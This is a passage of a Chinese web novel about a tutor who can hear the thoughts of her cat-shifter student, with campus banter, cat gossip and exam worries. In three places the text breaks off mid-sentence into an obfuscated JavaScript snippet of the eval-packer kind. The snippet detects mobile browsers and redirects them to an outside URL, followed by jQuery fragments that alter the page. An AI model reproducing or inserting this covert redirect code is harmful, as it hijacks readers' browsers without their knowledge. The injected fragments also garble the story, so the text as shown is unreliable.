“你!”祁连山恼羞成怒,余光扫向祁曜缓缓抬起的胳膊,低声呵斥道:“怎么?你想打我?”
打你?祁曜在心里冷呵,他揉了揉发酸胀痛的手腕,这几天他一直在练习写作文,写到手痛。
“今天你不签也得签!”祁连山的耐心已经消耗殆尽,开始下最后通牒。
祁曜整理了下校服袖口,无视对面或期待或僵硬的脸,懒洋洋地拿起笔在同意书上画了个王八扔过去,“我妈现在比你有钱有权多了,你还真威胁不到我。”
“你!”
身后是祁连山的怒喝,祁曜头也不回地转身,室外的阳光太刺眼,他抬手捂住眼睛,冷冷扔下一句:“少生点气,或许还能多活几年。”
下节课是蒋劲松的语文,祁曜直接翘了,径直去了篮球场。
打了几个回合后,常烁横在看台椅子上累得要死,余光瞥到祁曜比他美丽猫毛还白的脸,霎时不爽了。
合着就他一个人舍命陪君子,不仅累死累活还大汗淋漓?
“喂!”
祁曜无动于衷。
“哎!”
祁曜不为所动,他双眉低垂,像是沉浸在自己的世界里。
不至于吧?这就被打击到了?太阳从西边出来了?
常烁搔了搔脑袋,直起身,把篮球抛到祁曜身上。
篮球骨碌碌滚到祁曜脚边,被他用鞋尖抵住,此时祁曜茫然地睁开眼睛,有点无措,有点混乱,反正常烁匮乏的词语量无法形容。
大概就是懵懵懂懂的吧。
“你说,如果一个人一直不理你,是什么原因?”
“讨厌你呗。”常烁下意识脱口而出,“还能因为什么?除了讨厌,难不成还能喜欢你?”
“哦。”祁曜侧过脸,沉默不语。
“不至于吧?”常烁摊开手,无所谓道:“就因为蒋劲松夸了祁亮,骂你了你,就失落成这样?”
祁曜:“……”
这人的脑回路,比港珠澳大桥还长。
“你被鬼附身了?还是我认识的祁曜吗?”常烁在一旁大惊小怪,喋喋不休,“需不需要我给你抱抱安慰?”
祁曜忍无可忍地站起身,他决定离癫公远点,免得被传染。
“别跑啊!”常烁腿支在地上,拦住祁曜的去路,“我刚逗你玩呢!祁亮那狗东西不至于让你低落成这副德行。”
“说说吧,”常烁桃花眼闪烁,双臂懒洋洋枕在脑后,青色发茬在阳光下像颗油汪汪的鸭蛋,“大爷您看上哪家小母猫了?我去帮您提亲!”
“到哪一步了?亲过嘴吗——?”
“呜呜——我的头!”
“闭嘴。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627891|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祁曜耳廓红得像熟透的虾子,脸颊也染上绯色,仿佛被狠狠欺负过。
“……”
沉默了会儿,常烁跟线路老化的电灯泡一样,吞吞吐吐道:“不是吧,已经?!”
“嗯?”祁曜疑惑,无法理解常烁为什么总是说一些奇奇怪怪的话,他的瞳孔澄澈单纯极了,“已经?已经什么?”
“我是想问你,如果她真的很讨厌我,该怎么办?”祁曜走投无路,只能选择提问不靠谱的三花猫表弟。
“死皮赖脸呗!好女怕缠郎!”常烁松了口气,随意问:“你到底做了什么?让人这么讨厌你?”
他真的很好好奇,常烁准备支起耳朵认真听,结果听到了一个让他一言难尽的答案。
祁曜平静地陈述:“她说我作文写得太见不得人了,让我回去多练练。”
常烁:“……”
耳朵,你闭上吧!
“我去纠缠她?”祁曜咽下箭在弦上的疑问,这样真的不会越来越糟糕吗?
“是的是的,”常烁敷衍点头,一副莫挨老子的表情,“你快去吧。”
-
在图书馆备课的叶橙,收到了Q的来信。
叶橙满脸发愁地点开聊天框,发现是只头顶爱心的缅因猫幼崽。
他给我发自拍干嘛?
叶橙百思不得其解,她动了动手指发出个猫猫疑问的表情包。
良久,叶橙才看到祁曜发来了几十张图片,是他写的作文。她默默叹口气,垂眸打字:[稍等,我看完之后给你回复。]
任务量+100。
她很好奇,祁曜是如何做到在短短五天内写完这么多篇作文的。
叶橙问出了心中所想:[你手不酸吗?]
那边像在处于宕机中,Q回:[……]
叶橙紧盯着聊天框,蹦出几条白气泡:[帮我批改下作文。]
[求你了。]
[加工资。]
叶橙迅速冒泡:[不用。]
他补课费已经给得很多了,这钱她拿着烫手。
Q强调:[要给。]
“……”
叶橙有点懵,第一次见上赶着给钱的。她戳开祁曜头像,备注:[一只财大气粗的猫]。
思忖了几秒,叶橙选择收下红包。
好吧,她承认。
她超喜欢钱的,谁能看见红包不心动?
叶橙星星眼打字,完全是对钱的爱:[我们加节课吧。]
消息一发出,祁曜秒回:[好~]
上课也这么开心?
难道他是一只热爱学习的猫?脑海迅速过了一遍祁曜的种种表现,叶橙有点不确定了。
Q:[我去找你。]
叶橙回过神来,她打量着粉鼻头的缅因猫头像,恶作剧似的戳了戳。
突然,聊天框蹦出来一条提示:[我拍了拍“Q”]
“……”
呵呵,微信。
我真心感谢你。
叶橙迅速把桌子上的书,还有椅子上的屁股垫,一箩筐塞进包里。书包带斜挂在肩膀上,她打算去找个空教室补课。
刚给祁曜发完E208教室,她就被人拍了肩膀,那人说:“好巧。”
叶橙头也不回,心里一直犯嘀咕:“祁曜,你怎么这么快就来了?我作文还没看——”
8. 发情
话刚秃噜出口,叶橙立刻反应过来不对劲,祁曜声音没有这么油腻。
果然,叶橙淡淡扫过显摆哥林翊的脸,绝望地闭上眼睛。
她出门前应该算个卦的,今日宜闭门谢客。
显摆哥依旧自信,他晃了晃手机,“听说你最近找不到工作啊!我叔叔自己创业,开了家奶茶店,你要去试试吗?”
“你又考不上研,文科就业前景也不好,去摇奶茶也不错,时薪有九块呢!”这语气很是为她着想,似乎处处站在她的角度。
林翊看叶橙没什么表情,以为她觉得钱少,自顾自往下说:“我叔叔家自己开的,时薪可以给你提到十块,比你代取快递赚得多。”
叶橙丢掉批改作文的红笔,扬起下巴冷眼看他。
说,继续说。
她倒要看看狗嘴能吐出什么象牙。
“我现在把招聘单转给你,嗯?不对——”林翊皱着眉毛,人高马大地挡住过道,油腻发问:“为什么删我好友?不说明白别想走。”
威胁,恐吓,瞧不起人,句句踩在叶橙的雷点上。
删你好友怎么了?
还想扇你比兜呢!
叶橙有些烦躁地拢了把头发,冷冷嗤了声:“滚。”
她今天很不爽,本来昨晚就失眠没睡好,早上还被催就业,更加不爽了。
真是什么妖魔鬼怪都往跟前凑了。
林翊嘴里冒出一堆不干不净的脏话,趁他神情松懈的刹那,叶橙拎起书包往他脸上狠狠一摔,扔完便麻溜地跑了。
笑话,她又打不过他,先扇一比兜解解气。
教室门口堵着一道修长的身影,叶橙跑得太急没注意,身后的常翊一直在骂骂咧咧。
咣当——叶橙撞到了那人硬邦邦的肩膀,她的视线正好与对方脖颈处齐平。
祁曜突然来了兴致,他佯装吃痛,眼角泛出泪花,可怜兮兮道:“老师,你好凶啊,都弄疼我了。”
男生今天穿了一件纯白色套头卫衣,系带松松垮垮散在旁边,露出一小块冷白光洁的皮肤,祁曜被盯得不自然,喉结伴随呼吸轻轻滚动。
真的很可怜,叶橙刹住脚步,她信了祁曜的鬼话,轻声询问:“很疼吗?”
祁曜犹豫了一下,他没想到叶橙这么好骗,“还好吧。”
叶橙松口气,语速飞快:“那——待会儿再疼,先跑。”
结果,祁曜杵在原地像个门神,她根本拉不动。
“跑什么?”祁曜从容地整理下袖口,他今天穿的白衣服,不能弄脏,“打回去不行吗?”
祁曜的语气十分良善,像在询问今天喝杯奶茶好不好?
好,怎么不算好呢?
大请特请。
但是——
“不行。”叶橙挡住满脸写着我要找麻烦的祁曜,她是一个理智的成年人,更何况这是她自己的私事,不能让学生替她担责任。
“你马上就要高考了,况且——”叶橙拽住祁曜的衣服往前走,“打架又不是唯一的解决办法。”
祁曜乖顺地任由叶橙拽他袖口,在她不注意的地方,眸光凛然地扫向林翊,无声地用口型威胁对方。
废物点心一个。
不足挂齿。
脑子发麻的林翊长久呆立在原地,半晌他才缓过劲来,那外国佬明显是个练家子,十个他摞一块都打不过。
-
[老师。]
[老师……]
[老师!]
叶橙回头,她在暗喜,那不断上扬地唇角完全暴露了她此时的好心情。
祁曜问:“很开心?”
“嗯。”叶橙点头。
好爽!解气!
原来扇人比兜这么爽哈哈哈!
祁曜也在笑:“原来让你开心这么简单?”
“是啊。”叶橙语气淡然。
既然要拼搏,那就撒开手努力去做。
不妄自菲薄,不怀疑自己。
人生本就在撒手这一当儿。
祁曜就站在海棠树下,安安静静地听叶橙讲话,恰巧有那么几片落在了他的头顶。
“嗳,别动。”
叶橙目不转睛地盯着祁曜头顶上的猫爪,今天开的是一朵橙色小花,和掉落的海棠花瓣融在一起。
“我给你拍张照片。”叶橙将摄像镜头聚焦在那朵海棠花上。
好可爱的猫,好漂亮的花。
祁曜怔立在原地,碧绿色眼睛像是蒙上了一层水雾,他能感觉到自己的体温在升高、自己的呼吸也变得急促。
就连心跳,在这一秒也是为了叶橙而跳动。
[她在给我拍照。]
“嗯?”叶橙感到有些奇怪,祁曜的表情很不自然,就连头顶的小花也像株含羞草,被风轻轻吹过就合拢。
“走了,”叶橙收好手机,指了指旁边的奶茶店,路过时特意看了眼时薪是十五元,“请你喝奶茶。”
祁曜震撼,头顶上的小花更娇羞了:[她说请我喝奶茶。]
叶橙:“……”
正好是下课点,也正逢午饭高峰期,祁曜的视线跟着叶橙的手移动,她点开了一个灰色点单小程序,不停往下滑。
蜜桃乌龙,加个多肉晶球小料。叶橙点完单,把手机递给祁曜,“我请客,随便点。”
修长白皙的手指随便在手机屏幕上点了几下,卷翘的睫毛也一颤一颤。
“哇!”
叶橙指着订单栏里明晃晃的“无糖薄荷奶绿”,啧啧惊叹。
不愧是小猫咪,什么种类的薄荷都喜欢。
几乎是不受控制的,叶橙瞬间脑补到硕大的缅因猫在撕咬小鱼玩具的样子。
喷上点薄荷水,那猫不得疯了?
这画面太美,她不敢想象。
叶橙抬头,见祁曜一直在盯着自己,于是便把心里的疑惑问出了口:“你们猫咪很喜欢薄荷吗?”
祁曜:“……”
男生冷淡地撇开脸,故作随意地说:“不喜欢。”
叶橙不信:“哦?真的吗?祁曜?”
祁曜不自然地撇开脸,嘴硬道:“真的不喜欢。”
叶橙拖着嗓子长长地“噢”了一声。
她才不会傻到去相信祁曜欲盖弥彰的鬼话,她可不是好糊弄的人!
果不其然,心声暴露了祁曜的真实想法:[可恶的互联网。]
[难道这些人类不知道——?]
不知道什么?叶橙支起耳朵仔细听讲,详闻后续。
[猫咪摄入过多的猫薄荷,会兴奋到夜晚跑酷,会刺激到狂吃小鱼干……]
[更有甚者,会直接进入发情期。]
发情!
纳尼?她真的不知道!
不需要叶橙深想,祁曜头顶上的猫爪开始播放画面。
一只海豹布偶误食了碗里的猫薄荷水,开始不安地扭动身体,两条腿颤栗到站不稳,毛茸茸的猫尾巴勾住后面蓝猫的脖子。
不停地磨蹭,直到英短蓝猫被她的气味吸引,也进入发情期。
蓝猫俯身叼住母猫的后颈,布偶猫也随心所欲地翘起屁股,大声地鸣叫,像是幼猫咪呜咪呜的哭声。
软垫被两只猫压下一个大坑。
像是狠狠干了一架。
没错,床上打架也是打架。
叶橙尴尬地捂住眼睛,不要给她放猫片啊!
祁曜眸光往旁边的树上扫,过了会儿,又忍不住往叶橙身上瞄。
是一张目瞪口呆进入新世界的脸。
[吓傻了?]
叶橙沉默两秒,然后怔怔地抬起头。
她无言以对,总不能告诉祁曜,你的心声把我干沉默了。
四周传来此起彼伏的欢呼声,祁曜转移了注意力,叶橙开始感谢她的老天奶。
幸好幸好,不用让她独自去面对尴尬的世界。
“呀,小橘。”叶橙望向不远处在人群中疯狂讨食物的胖橘,亲昵地用猫尾巴勾漂亮姐姐的腿,碰到同为男性的人还会用白靴子挠对方的鞋子。
双标
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627892|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的咪咪。
不过,叶橙将祁曜从头打量到尾,男生银发耀眼,懒洋洋地站在太阳底下。
要是祁曜靠猫形过活,肯定很受欢迎。
[看我干嘛?我脸上有花?]
叶橙心虚地撇开眼睛,几乎是同手同脚地走进奶茶店,然后随便拿出一杯递给门外等待的祁曜。
人在尴尬时,小动作会变得非常多,就比如现在的她。
叶橙抽出袋子里的吸管,戳开奶茶塑封,薄荷牙膏味。
与此同时,听见一道沁凉的男声:[好甜,这是把半辈子的糖都加进去了吧。]
[蜜桃味,不对劲,再喝一口。]
叶橙:“……”
她眨了下眼睛,把锅甩过去,“你拿错了。”
是祁曜拿错的,关她叶橙什么事。
“哦。”祁曜面无表情地回答,没有戳破她的打算。
“喵喵喵~”胖橘碰到了熟悉的人类,友好地凑上前去,翻开肚皮躺在地板上蠕动,一副等君宠幸的模样。
叶橙嘴角抽搐,这也太谄媚了……
不过,没有人能拒绝小猫咪的主动示好,叶橙左翻翻右翻翻,最后从书包夹层里摸出一袋小鱼干
[死夹子,快走开。]
[走开走开走开……]
糟了!
叶橙尴尬地缩回手,还有一只小猫咪没有被投喂,这在猫界是要被鄙夷的。
屁颠屁颠吃鱼干的橘猫也察觉出不对劲,迅速夹紧尾巴,咽下半只后灰溜溜地跑了。
要死,哪里来的大猫,本喵可打不过。
叶橙的一双圆眼睛骨碌碌转动,灵光乍现道:“你要吃吗?”
祁曜:“……”
他今天已经震撼很多次了,无法用语言形容。
现在,此刻,他居然要去吃一个死夹子的剩饭,猫生耻辱!
祁曜的眼神逐渐由压迫转向幽怨,一连串的心声往叶橙脑子里灌输,让她应接不暇。
停停停!师父你不要再念了!俺老孙错啦!
包装袋显示拆封即食,叶橙悄咪咪地把它藏进草丛里,胖橘是只很聪明的喵,它饿了会自己寻着味道找过来。
冷静下来后,祁曜闷闷不乐道:“你对所有猫都这么好吗?”
“也不是吧。”叶橙仔细想了想,要是那种特别凶的小猫咪,她只敢把食物拆开放在旁边,等它自己去吃。
猫咪的爪子太锋利了,稍不留神就会挠你一下。
她超怕疼。
-
一路上,叶橙听了超多猫界八卦,海棠花瓣簌簌降落,落到了叶橙的衣服上。
隐隐约约像是有鬼风在吹,现在他们还走到了一个死角,需要原路返回。
叶橙也想不通,祁曜的声音冷冰冰的,语气也是不咸不淡的那挂,能把八卦讲成鬼故事。
聊缩力爆满,诡异感暴增!
叶橙搓了搓胳膊,她今天穿了一件奶黄色毛衫,摸起来毛扎扎的,“还有呢还有呢?”
祁曜眉毛微微上挑,他不是很能理解叶橙这种人的心理,明明怕得要死,还要用一张兴奋的脸央求他讲下去。
不要这么看他。
祁曜侧过头,不让叶橙看见他的表情,冷冷扔下一句:“不讲了。”
“为什么?为什么不讲了?”叶橙感到不满,不停追问,脚底是纷纷凌乱的花瓣。
闻言,祁曜唇边翘起一抹清浅的弧度,两个酒窝在颊边深陷,让这张冷感极重的脸,也染上了春意。
[你要实在想听,我也可以勉为其难地讲一下。]
叶橙:“……”
手机嗡嗡响,祁曜余光瞥到了联系人的名字,果断选择拉进黑名单。
一打岔,祁曜也忘记自己讲到了哪里,对面走过来一个清理食堂垃圾的大爷,脚步落到地上寂静无声。
“看对面那只猫。”
叶橙顺着祁曜说的话,往前看。
那明明是她天天在食堂看见的大爷,你确定不是在逗我玩?
9. 盯盯怪
叶橙扒拉了下祁曜的衣袖,做贼一样地小声嘀咕:“你叽里咕噜胡说啥呢?”
左看右看,上看下看。
大爷就是大爷,怎么着也不可能变成猫。
祁曜觑了她一眼,超小声地询问:“很害怕?”
叶橙摇头,她有什么好怕的,又不是她说大爷是猫。
该害怕的是谁她才不会告诉他。
等大爷拖着垃圾桶路过窃窃私语的二人时,祁曜的声音陡然变大,“狸花。”
叶橙用手肘怼击,示意祁曜别胡说。当事人却不以为意,老神在在地双手插兜,从容不迫地又喊了一声:“狸花叔。”
大爷脸上有一道把眉毛切割成两份的疤,差点就伤到眼睛,因此看人时显得有些凶狠。他微微颔首:“缅因。”
狸花大爷臂力强悍,轻松松地拎起垃圾桶上路,那架势跟要去讨债一样。
心慌慌的,癫,实在是太癫了。
叶橙压抑住翻江倒海的思绪,她扫了眼面无表情的祁曜,又望向不远处拿垃圾桶当玩具的狸花大爷。
舌头不受她控制,叶橙问:“你们猫——”
咣当——垃圾桶被大爷玩坏了,直接裂成两半。
叶橙咽回没说出口的话,生怕被殃及池鱼,落得和红桶一模一样的下场。
四分五裂,好可怕!
“怕什么?”祁曜抬手提起叶橙书包最上方的手挽,慢腾腾地点了点自己的脸,“我很凶?”
叶橙眼皮狠狠跳了一下,她的头发也被提起来了,好巧不巧正正当当地卡在书包的目字扣里。
一点儿都不带歪的。
“祁曜!”
男生语气淡淡:“哦,抱歉。”
祁曜秒松手,书包又落在了叶橙的肩膀上,俯下身无波无澜地与叶橙对视。
他似乎并不知道自己做错了什么,一头雾水地问:“你为什么生气?”
叶橙:“……”
为什么生气?
她简直是要气笑了,不答反问:“你为什么道歉?”
祁曜认认真真地思考,“因为你喊了我的名字。”说完,他继续补充,“是很凶地喊了我的名字。”
叶橙双手环胸,问:“然后呢?”
祁曜乖乖巧巧,答:“没有然后了。”
一问一答,很不错呢!
如果不是在鸡同鸭讲的话。
猫猫的脑回路是不太正常,简直是过于清奇了!
祁曜表面不说话,实则内心蛐蛐:[哪里还有什么然后?我想帮你背书包,你不让,跟个宝贝一样。]
叶橙目瞪口呆,她没见过这么不要脸的,你那是帮人背书包?你那是想把我头提起来!
我不把你头塞书包里就很不错了。
很快,叶橙调整好情绪。既然对方诚心诚意地要求了,那就勉为其难地答应吧。
祁曜背了一路的书包,其实不重,里面就一本书、一个平板和一个屁股垫。
叶橙又找了一间空教室,帮祁曜补课。
不错不错,今天的祁曜脉动回来,很在状态。
任窗外的鸟扇烂了翅膀、叫哑了嗓子,也不能挪动小猫咪一丝一毫的心。
这一局,鸟PK叶橙,叶橙完胜!
只不过,只不过……
他不盯鸟了,开始盯叶橙的脸了!
心声也在悄悄作怪:[想吃小熊软糖……]
[要橙子味的。]
叶橙故作深沉,她现在已经练就了屏蔽祁曜心声的功能,深蓝色圆珠笔圈出一长段话,并在旁边标注:超棒的。
很不错,经过两周的作文素材灌输,祁曜写作文终于不是胡说八道了。
有逻辑,有结构,有思维。
不错不错,可以打个及格分。
叶橙很高兴。与此同时,祁曜也在高兴,柔和地看向叶橙,眼睛、头发、嘴唇……
[好想吃小熊软糖……]
叶橙抬眸,祁曜迅速垂眼看自己写的作文,笔尖一点一点念念有词:“塞罕坝人治沙故事可歌可泣,他们种下的不仅仅是树,更是一种坚定的信念……”
头顶上却冒出一颗橙色的小熊软糖,在飘飘然转圈圈。
这么想吃糖吗?和小孩一样。
叶橙不由失笑,“如果二模语文成绩可以提高二十分,就奖励一个愿望。”
祁曜放下笔,左手握成拳头抵住脸颊,露出一个略显孩子气的笑,“那我可当真了。”
可不就是孩子吗?
两个小时后,叶橙送祁曜出校门,途径图书馆时遇到了一只毛茸茸的、浑身散发大犟种气味的、黑白相间的生物。
[喵呜喵呜~]
[可算逮到你了~]
[小黑小黑~嘻嘻嘻~今晚你是我的压寨夫人啦~]
奶牛猫甜甜悠哉游哉地追逐在小黑身后,白色猫脚踩在柔软的草地上,沾染上青草香,她似乎把这场狩猎游戏当成一种小情趣。
小黑猫身形敏捷,在树丛中来回穿梭。
实在是不好意思了,他遇到了更敏捷更迅速的猫,啪叽一下撞到了祁曜的小腿上。
祁曜是有意阻挡的,他俯身拽起小黑猫的后脖颈,把它提溜至半空,像是在进行猫咪间的友好互动。
神他么友好互动?!
小黑弓起背部,恶狠狠地呲牙哈气,黑色尾巴毛支楞起来,把祁曜的手背打出一道道红痕。
祁曜淡定地帮手上的小黑猫转了个身,眉毛一挑,“哦,那不是你。”
碧绿色的椭圆形猫眼与琥珀色的圆形猫眼,正在进行一场无声的交锋。
祁曜懒洋洋地松开手,慢条斯理地搓了搓刚刚被拍打出几道红痕的手背,利落地抬起步伐走到叶橙身边。
叶橙眯起眼睛,下午三点钟的太阳依旧刺眼,她将手盖在眼睫上,不解地问:“你欺负小猫咪干嘛?”
闻言,祁曜舒展开眉眼,愉快地翘起唇角,“不小了,都是两个娃的爸爸了。”
此时此刻,奶牛猫甜甜快速跑过来,两只通体全黑的小猫咪紧随其后,由于猫妈妈的速度实在太快,两小只在后面跑得踉踉跄跄。
小黑面色难看,它跑到妻儿身前,喉咙发出低沉恐吓的声音,两只小奶猫也在为自己爸比争场子,喵呜喵呜叫个不停。
叶橙虽然听不懂猫语,但她能知道这几只猫骂得很脏。
好了,这下不用她亲自翻译了,因为你的甜来了!
奶牛猫甜甜的白色猫脚快速踱步,那一片青草被她踩得乱七八糟,圆润的脑袋上冒出熟悉的火箭型巧克力色猫爪。
御姐音如雷贯耳:[死肥宅缅因猫,头大脚大身子大,毛炸起来成个球头。]
[敢欺负本喵的亲亲老公,看我不扇飞你!]
奶牛猫甜甜是个雷厉风行的性子,她抬起猫脚说干就干,一连串飞踢,祁曜双手插兜不冷不热地躲避,白净的裤腿一如既往。
甜甜气炸了,巧克力色猫爪蹦出几个硕大的感叹号:[猫小子,你是练家子!]
祁曜头顶上的草莓粉猫爪也蹦出一连串句号:[嗯呐。]
随后,发出他思量已久的疑问:[奶牛猫?原来是你这个癫婆?]
甜甜:[癫婆?!]
糟糕!叶橙捂住脸,透过手指露出的一点缝隙,偷瞄两只猫咪的对战。
她在心底为祁曜默默点了一支蜡,八嘎奶牛猫在学校这一带可是数一数二的大姐大,没有猫能躲过她的辣手摧花,也没有人能躲过她的无影猫爪。
曾经有无数个不谙世事的大一学弟学妹,被甜甜可爱的正开脸欺骗,又被她挠出伤,只能灰溜溜地去医院打针。
祁曜啊祁曜,你惹谁不好?非得惹她?
果不其然,甜甜越骂越来劲,甚至有些词汇直接被火箭型猫爪弹幕口口了:[你!死肥宅缅因猫,巨能吃巨能睡,拉屎巨大坨!]
哦莫?这是可以说的吗?
叶橙把手撤下来,目不转睛地看戏,要是有个小马扎再有个大西瓜就更好了!
百年难遇的猫咪吵架,还有自带的猫译中翻译器,简直不要太爽!
巧克力色的火箭型猫爪愤怒,草莓粉色的富士山型猫爪冷静。
甜甜骂得口干舌燥,疯狂招呼缅因猫的爸比,祁曜都不为所动。由于自己是猫妈妈的缘故,她不会去说缅因猫妈咪的不好。
刚说累了就有人递板凳,奶牛猫甜甜余光瞥到了正在悄咪咪看戏的叶橙,还有忍不住偷看叶橙的缅因猫,忽地心窍顿开。
[人类,看你投喂过本喵那么多次的份上,去打缅因猫一顿,把他打得嗷嗷求饶,本喵可以让你rua猫爪。]
[不过,不能摸本喵的山竹猫爪,可以让你rua猫儿子的黑爪子。]
两只小黑猫也十分捧场,乖巧惹人爱地凑到叶橙跟前,用圆乎乎的猫脑袋拱叶橙的小腿。
咪咪好可爱,好软的猫毛,叶橙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627893|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
简直心花怒放,她还是头一次这么受小猫咪欢迎。
祁曜眉心紧皱,下意识将嘴巴抿紧,将疯狂扭动的两小只拎起来,一手提一个。
[这么喜欢猫?]
[现成的不摸,非得去绕远道摸别的猫。]
[是我的猫毛不够柔软不够蓬松?还是你本身就是个花心的人?]
叶橙怔立在原地,祁曜拎起两小只将它们送回给看戏的甜甜,“喂,奶牛猫,看好你儿子。”
小黑叼起两小只后脖颈处的猫毛,将它们护在身后,用毛刺刺的舌头舔幼猫的头顶,覆盖住陌生的气味。
叶橙望向祁曜布满阴云的头顶,他在内心深处下了一场毛毛雨,草莓粉的猫咪肉垫也被雨水浸泡得发皱。
是她做错什么了吗?
她只是一个喜欢投喂猫咪的人类啊!
临走时,奶牛猫甜甜跑到了祁曜前方,头顶上的巧克力色肉垫闪烁:[缅因崽,你以后会是个和小黑一样好的猫爸爸。]
说完,甜甜咂摸了下嘴巴,意味深长地对叶橙点评一番:[呆瓜人类。]
叶橙:“……”
她哪里呆了?
她一点儿都不呆得好伐?人家聪明着呢!
送走祁曜后,叶橙顺便去附近的生活超市采购,准备排队结账时,往篮子里扫了一圈,似乎少了点什么。
好难找啊,叶橙在糖果区找了很久,余光扫到最里面有几包小熊软糖。
等再起身时,腿都快蹲麻了。她没仔细看,直接扔进了购物篮里一起结账。
-
时间过得很快,尤其是对于现在复习和赚钱两手抓的叶橙,时不时还会有导员的就业电话轰炸。
所有人都难,老师为了就业率低头疼,学生也同理,找不到工作,没有方向和目标。
而且也经不起失败,只要你选择了考公或考研,只能硬着头皮走下去。
叶橙也是考研大军里的一员,过五关斩六将,结果还没摸到门口,就被传说中最猛的英语一给gameover了……
至今想起来,心里还是会酸酸涩涩的。当天考完英语,其实她就已经知道自己游不上岸了。
第二天,考场也少了很多人,叶橙选择去答完那张心心念念的试卷,用小刀划开信封,最后再由自己亲手贴上密封条。
最后,在一间空空荡荡的屋子里放声大哭,考研儿们能怎么办呢?
去网络上发发牢骚,默默打下一条#英语一我恨你#……
失败的滋味可不好受,毕业后的你既不是学生,也没有确切要去的地方。再考一年的话,若是明年还不成功呢?
叶橙想了想,端起杯子去水房接水。
水流冲击着陶瓷杯壁,杯沿上的线条小狗兴冲冲地向她比了个耶。
她端着泡好的蜂蜜百香果往回走,正巧不巧,老妈叶女士打电话询问她的假期计划,“五一还回家吗?”
叶橙考虑了会儿,高三生二模成绩刚下来,五一假期得抽出三天给祁曜补课。
“妈妈,我三号下午回家,正好可以在家呆两天,五号晚上再回学校。”
叶橙家是津海市郊区的,距离学校很近,开车也就需要一个多小时。
“那行,”电话那头的叶舒雯笑了起来,“我让你爸爸开车去学校接你。”
叶橙举着手机,合上门,走到阳台上,“前段时间我接了份兼职,五一前三天需要去给学生补课,课时费有260呢。”
叶舒雯剧烈地咳嗽起来,像是被烟呛的,叶橙听到后皱紧眉毛,“妈,你又在炒辣椒了?”
电话那头传来叶舒雯温柔的声音,“对,我打算炸点辣椒油,做点辣椒酱,到时候你拿到学校去吃。”
“你一到夏天就吃不下饭,一瘦就瘦很多斤。”
叶橙眨了眨眼睛,望向远处的一轮弦月,她有点想哭,也迫切地想回家了。
-
第二天,叶橙如往常一样,去了那栋花园别墅,给祁曜上课。
祁曜懒洋洋地缩在灰色猫窝里,以一只猫的形态,耳朵尖的聪明毛一抖一抖。
余光瞥到叶橙,也只是简单地甩了甩尾巴,又继续把手揣在胸口,一副没睡醒的样子。
[好困哦……]
[她今天来得真晚,我起个大早等她,结果我又睡着了。]
祁曜猫爪抵地,伸了个懒腰,尾巴尖也放松自然地垂落下来,喉咙里发出咕噜咕噜的声音。
10. 情人节软糖
鸡毛掸子大尾巴,咕噜咕噜小猫咪~
叶橙瞬间星星眼闪动,她捂住被萌物击中的心脏,不好意思道:“实在抱歉啊,是老师迟到了。”
祁曜抖了抖脖颈处的厚密毛发,是一种由浅及深的银灰渐变色,尤其是靠近猫脸那一圈,几乎和白色没什么区别。
缅因猫张大嘴巴打呵欠,露出尖利的牙齿和一小截舌头,“喵喵~”
头顶上的粉色猫爪冒出气泡:[没关系。]
叶橙察觉出来不对劲,今天的猫爪颜色变深了。
如果说从前是一种浅淡的草莓粉,那么今天更像是一种逐渐加深的玫瑰粉。
[她昨晚去做贼了?黑眼圈好重?]
叶橙闻言眼皮直往下耷拉,长而卷翘的睫毛低垂,让祁曜看得心里发痒。
[困就要好好休息,一会儿看我作文别被气成河豚,又像上次一样接连好几天不理我~]
[还骂我,说我的作文见不得人,哪里见不得人了?!]
叶橙:“……”
这跟人家作文有什么关系?
而是!大哥!你的内裤见不得人啊!
祁曜不明所以,悄咪咪地踱步到叶橙身侧:[猫猫跺脚.jpg]
呀~是一段动图!
叶橙瞬间激灵起来,瞪大双眼观看祁曜头顶上的猫爪台视频。
年纪尚小的缅因猫身体直立,碧绿色眼睛直勾勾地望着钓猫棒上的小鸟羽毛,两只爪爪举起来胡乱扑棱。
逗猫的人似乎是祁曜的妈妈,因为叶橙听到了一道温柔的女声:“曜曜乖宝,要是今天能抓住小鸟,就奖励你一只小鱼干,好不好呀乖崽~”
缅因猫的眼睛亮闪闪的,猫爪托举到前胸,跃跃欲试地扑打、撕咬、抓挠,迎来了第一次失败、第二次失败……无数次失败。
缅因猫幼崽气得疯狂跺脚,灰色绒布被它踩得深陷,似乎是觉得不解气,后足支撑前足发力,翘起屁屁疯狂抓挠,戳出一堆大洞,挠出一堆划痕。
最后,累成一滩猫饼。
祁曜又打了个呵欠,猫爪气泡也随之消失。
空气中有一种传染的魔力,叶橙跟着一起打了个呵欠。
